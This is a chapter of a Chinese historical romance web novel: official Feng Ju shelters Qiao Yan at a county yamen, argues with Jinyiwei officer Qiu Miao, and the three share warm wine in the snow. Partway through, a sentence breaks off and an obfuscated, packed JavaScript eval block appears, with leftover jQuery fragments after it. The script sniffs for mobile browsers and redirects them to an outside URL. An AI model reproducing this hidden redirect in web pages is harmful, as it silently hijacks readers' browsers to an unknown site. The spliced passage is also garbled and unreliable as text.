远远的，就看到冯矩牵着一骑缓缓走来，马上坐着一位窈窕女人。
门前几人或多或少都露出了白日见鬼的神情，尤其是黄喜娘，甚至下意识看了眼天，好似在怀疑自己做梦。
“高姐姐？”
等到了近前，冯矩勒停马儿，横举小臂，马上的女人搭住，优雅又轻盈地跃下。
外人面前，他们默契地保持住了分寸。
“高姐姐……真的是你？”喜娘向前走了一步，惊疑的目光在两人之间穿梭，“你，你们……”
秋淼充耳不闻，视而不见，一味地牵过马，往衙内去了。
冯矩微笑：“在下恰好在城门外遇上高夫人，高夫人租的牛车车辙坏了，托我捎她一程。二位这是打算回去了么？要不要再休养两天。”
“不用了，我儿要快些回去，入土为安。这回若没有冯大人您，草民和小女怕都是凶多吉少。”黄父颤巍巍地跪下，磕了个头，“救命之恩，没齿难忘，却无以回报，小民实在惶恐，请大人受我一拜。”
黄喜娘跟着拜倒在地。
“快快请起，”冯矩拱手遥敬北方，“此举非我之功，乃圣上体恤百姓，遣我来此纠察是非，二位若要谢，须得谢圣上隆恩。”
黄父果然领着女儿朝北边磕了三个响头。
乔燕走到喜娘身边，心疼地看着她的手，正要执起，黄喜娘却是一避。
乔燕愣住，抬头，只见小姑娘用一种奇怪的眼神看着她。
“高夫人还和我们回去么？”
乔燕心里一窒，一时不知要如何答话，她原本想回的，可现在突然觉得，黄家庄或许已非容身之地。
却听冯矩突兀地开口：“我与夫人乃是旧时，欲要送她寻亲，就不回去了。”
听到冯矩这么说，乔燕莫名轻松了些许，轻声道：“喜娘……”
黄喜娘低下头，不再看她。
黄父看到了这一幕，叹了口气，没有说什么，自带着一双儿女离去了。乔燕注视着马车的背影，回想起方才喜娘看她的眼神，心里堵得慌。
冯矩陪她站了会儿，直到乔燕自己平复过来，才一前一后进了县衙角门。
冯矩先将乔燕在后院安顿下来，嘱咐厨房下了两碗面条，坐在一处吃过，独自去了前衙。
“你是不是疯了！”
秋淼遣散了其余的衙役和锦衣卫，一个人在花厅前的天井里踱步，一见到冯矩，他就大步走上前，压低声音疾言厉色。
“我没疯。”
冯矩掠过他。秋淼顿了顿，跟了上去：“你怎么敢把她带过来？你们在村子里，在别的地方，怎么样都行，我可以假装不知道，但你把人都带了过来，这是要我帮你欺君？我可不敢！”
“你该怎么做就怎么做，”冯矩道，“圣上早就知道她在这里。”
秋淼如遭雷击：“……什么？”
昨天冯矩向黄喜娘打听乔燕的事，便觉得蹊跷，乔燕的绣品哪怕再巧夺天工，也不至于每次都以那么高的价格被商户收购，听喜娘说，有一回雨天，路上翻了车，绣帕都浸了泥水，绣庄的人也毫不介意地以每张五两的价格收下了。
冯矩走了趟绣庄，威逼利诱之下打探到，原来曾有个面白无须的富商许以重金，要他们每个月都以高价收下黄二郎带去的绣品。
冯矩不再作声，安静地走进花厅，秋淼一会儿想“圣上为什么要对太妃这样”，一会儿想“冯矩这又是作的哪门子死”，好容易才从乱成一团的思绪里抽出一根线，追上去，“那你们，你怎么敢……你就不怕……”
“圣上正是用我的时候，淮党不除，不会在这时候动我。”
“那之后呢？”
之后？冯矩不由一哂。他早已是该死之人，等此案了结，是去是留，但听君令。
秋淼在他的神情里慢慢噤了声，烦躁地灌了口茶，欲言又止。
冯矩猜到他想问什么。忍不住在心里盘算：正是多事之秋，等淮党一除，朝堂更无可用之人。乔广文官居户部尚书，加衔建极殿大学士，为内阁次辅，儒林榜首。乔湛任礼部仪制郎中，乃清流砥柱。皇帝没有证据，不敢动她。
再三思虑，确无疏漏，他才放下心来。
“章承那里可有审出什么？”
“他嘴硬得很。”看出冯矩故意转移话题，秋淼抓了抓头，索性也不管了，道：“我听你的把县衙的文吏全部抓了起来，但是什么都没有问到，搜遍整个衙门，也没找到什么东西。”
“彭县之后，他们谨慎了许多，找不到东西才是正常。等过了今日，放出消息，就说章承招了，放他回家。我再拟一份奏报，你亲自带人送往京师。”
“那你一个人在这……”秋淼说到一半，明白过来，“你要请君入瓮。”
“束阳上回来信，已经到了江都县，乔装在那里最大的盐庄做了账房先生，托天灾的福，到处是投奔亲戚的人，城里一半人都眼生，盐庄的人没起疑，我写一封信，你着暗桩替我传给他。还有谯县亳王府，那里也要互通有无。”
说着，冯矩一顿，自咎：“不可这么说，‘托天灾的福’，是我糊涂了。”
二人商谈到正午，出门时才发现不知何时下起了大雪，北风卷起雪花扑面而来，秋淼打了个寒颤，抱住手臂直搓。
“好冷。也不知为何，这些年格外的冷，路上我就注意到了，十里八乡的树都要砍光了，这雪一下，没有足够的柴火，年不好过啊。”
“确实冷，不知又要冻死多少人。库房有多少余粮？年前搭个粥棚，接济一下百姓们，”冯矩双手束进袖子，微微仰头，“南地本来冬天也能种地，但是这两年这么冷，田里的种子都要被冻死。瑞雪兆丰年，未必是坏事。”
“看不出来，冯大人还颇通农事啊。嘶，不知道今天中午厨房烧了什么，我那里还有一壶酒，从章承屋子里翻出来的好酒，天这么冷，要不拿出来喝了吧。”
秋淼嘴里不停，小跑出去。冯矩摇摇头，噙笑跟了上去。
昨夜几乎没有睡几个时辰，乔燕在衙门后院安置下来后，便酣眠至隅中，醒后自己穿好衣服，出了门，只见天上飘着鹅毛大的雪花，地上已经积了薄薄一层。
此刻后院空无一人，连仆役都见不到，只是她却并无慌乱，踩着薄雪，信步朝着月门走去。
她的心情十分宁静。那是一种圆满至餍足的感觉。好似此时此刻，此地此际，此情此景，无一不合心意，无一不圆满。
刚积的雪踩上去松而软，每一脚都令人心情舒畅，天空的灰蒙也恰到好处，泛着柔和的光彩。她的身后留下一串雀跃的脚印，宛如回到了十年前。
十年前的淮南还没有这么冷，冬天从不下雪，姑苏也没有雪，她去到北京后，第一次见到雪，到处银装素裹，天地一白，令人心醉。
豆蔻年华的她跑出了屋檐，在院子里留下一串脚印，与今日一样。
走到月门处时，外面也走来一人，他们打了照面，乔燕的唇角止不住地上扬——只觉得今日的一切实在是太完美了。
“二郎！”
她高兴得得意忘形了，竟不惧隔墙有耳，喊出了少年时代的昵称。
而冯矩也纵容着未曾纠正。他撑开手里提着的伞，举过乔燕头顶。
“厨房已经备好饭菜，李嫂说来叫过你一次，你还在睡，不敢打搅你，我便来看看。”
乔燕翘着嘴角：“方才确实在睡，才醒过来，许久没睡这么舒坦了。”
章承为了享受，在后院腾了间屋子，专门布置一番，用于吃饭喝酒。冯矩为乔燕掀着棉布做的门帘，乔燕一头扎进去，只觉热浪袭来，仿佛进了暖房里。
“好暖和！”
“这屋子下头挖空了烧炭，做成了暖阁。”屋子里有人道。
乔燕下意识收了脸上太过灿烂的笑，端肃身形，眼睫一垂，朝那人看去。只见是个约莫三十多的男人，曾在县衙外见过，蓄着短须，屋子里太热，他只穿着圆领衫，领口的扣子却没有系，剥着花生，看起来吊儿郎当没个正行……他的手边摆着绣春刀。
乔燕心里一惊，手脚陡然凉下来，下意识朝冯矩看去。
冯矩轻轻握住她的肩膀，将她向桌边带了带。
那人似乎翻了个白眼，朝嘴里扔了粒花生米，然后说道：“在下秋淼，三水淼，字仲蝉。这位，呃，这位夫人，唤我名字就好。”
他权当什么都不知道，不知便可装作无畏，日后东窗事发也能给自己脱罪。正好，他也烦在大人物面前装模作样。
屋子里没有椅子，只有矮桌和软垫。冯矩引乔燕在靠墙的一侧坐下，自己坐在风口处，介绍道：“这位秋大人是锦衣卫百户，受圣命来助我办案。他这个人没什么规矩，有时候浑了点，但是心地很好。”
不知是不是难得听人这么真心实意地一夸，秋淼剥花生的动作慢了两息，清了清嗓子，罕见的没有作声。
冯矩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116333|193889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又颇为认真地给秋淼介绍：“这位高夫人是我旧识，不可唐突。”
秋淼把手里的花生米扔进他碗里，有心想回敬两句，但竟难以开口，最终只得忍气吞声，默默排开酒杯，取过温在炉上的酒壶，各甄了半杯，等到第三杯时，询问地看向冯矩。
冯矩将其中一个倒了酒的杯子推给乔燕，“尝尝？天冷，喝点可以暖暖身子。”
秋淼竖起眉毛。
乔燕接过酒杯，笑道：“无妨，我酒量尚可。”
语罢，先抿了一口，立马认了出来：“花曲酒。”
秋淼敬佩地瞪大眼睛。
不同于仿佛变成哑巴的秋淼，冯矩十分自若，捏着最后一个空杯，给自己倒了个底，品了一口，叹服：“入口温润甘甜，回味绵长，我却是没喝过，头一回喝。”
“这酒性温，后劲也不大，江南喝得多，小时候我还曾跟着姨娘酿过，只是爹是淮北的口味，喝不惯这酒，后来家里就没怎么见过了。”
“那你今日可以多喝点。”
冯矩说着，又给她倒了半杯。
乔燕看着秋淼，奇道：“初见时还以为这位大人是个豪迈狂放之人，果然不能以貌取人，大人好生腼腆。”
秋淼一口酒憋在喉咙，好容易忍住没呛着。
冯矩微微笑：“秋大人性格确实木讷寡言。”
木讷寡言秋大人一张脸涨成猪肝色，咬牙切齿：“冯子规……你……”满腹粗鄙之言没有一句能出口的，“你”了半天，他也只憋出一句“莫再编排我”。
乔燕：“可是我在这里，让秋大人不自在了？”
“不碍事，他本来就是这个性子，”冯矩道，“空腹喝两口暖暖身子还行，喝多了伤身，吃点菜吧。”
秋淼闷闷道：“是，我本来就如此，夫人不必介怀。”
酒过三巡，冯矩问乔燕：“你下午要做什么？”
“我想做什么都行么？”
“你要是想出去玩，我陪你。”
乔燕心生狐疑。自昨天见面后，冯矩就常用“你想做……就做……”的句式与她说话。这实在……不对劲，就好像在补偿什么。明明他什么都不欠。可又令她心花怒放，忍不住一步步去试探他的底线。
“你没有公务吗？”
冯矩旁若无人：“忙得过来。”
秋淼嘴角一抽，自个儿倒了杯酒下肚。
“算了吧，你去忙你的，误了事可不好，”乔燕有些不好意思，咳了一声，低声道，“如今我已经很知足了。”
冯矩微侧头，看她，思忖着问：“你心里有事。你想回黄家庄吗？”
“本来是想回去的，但是……今日你都那般说了，我还是不回去了罢。”
“怪我说错了话。”
乔燕忙摇头：“我知道，你是为了我。我本也回不去了，从前也就黄大一家与我熟稔，但是今日喜娘……我不知道她怎么了，可能因为黄二郎吧，黄二郎从前最是疼她，我想安慰她，但她看我那一眼，我就忽然知道，我不能回去了……”
人性复杂。
当喜娘看到她完好无损，看到她光鲜亮丽，看到她与故旧相认，那一刻，昔日撒娇卖乖的小姑娘看她的眼神让她胆寒。
也许易地而处，乔燕也没有办法端正心态。她谅解她，可怜她，那只是一个还没有长大的小姑娘，灾祸让她过早地体会到了命运的无常，时间却还没有教会她安之若素，她将在漫长的苦难里学会成长……但我心匪石，乔燕还是难以遏制地被那双眼睛刺痛了。
冯矩安静地听着，末了，给她倒了杯新酒，一笑：“不如意事，十常八九。我也花了很长时间才想明白。盈虚有数，唯有知其不可奈何，不如斗酒娱乐。”
他从未露出这样的神情，似自哂又似慷慨，似在力竭处掀开心事一角，最沉郁顿挫又最豁然自达，平平几语，便令闻者心神震荡。
他在用他的伤痛去安抚她的挫折。
乔燕猛地抓住他执壶的手。
一旁，秋淼假装自己是个瞎子，闭上眼，许是酒意烘托，他击箸作拍，轻声哼唱起来：“想人生，百岁几何？饶是天公，难挽流梭。朝也干戈，暮也干戈，捱不过日月如梭，暗里消磨。信蹉跎世人，看便似风魔，叹富贵如披麻救火，白甚张罗……”
席间一片寂寥，唱完曲，秋淼忧郁地叹了口气：“冯大钦差，我还是得说，要事在身，您老就算豁出去想及时行乐，也得往旁边挪挪。”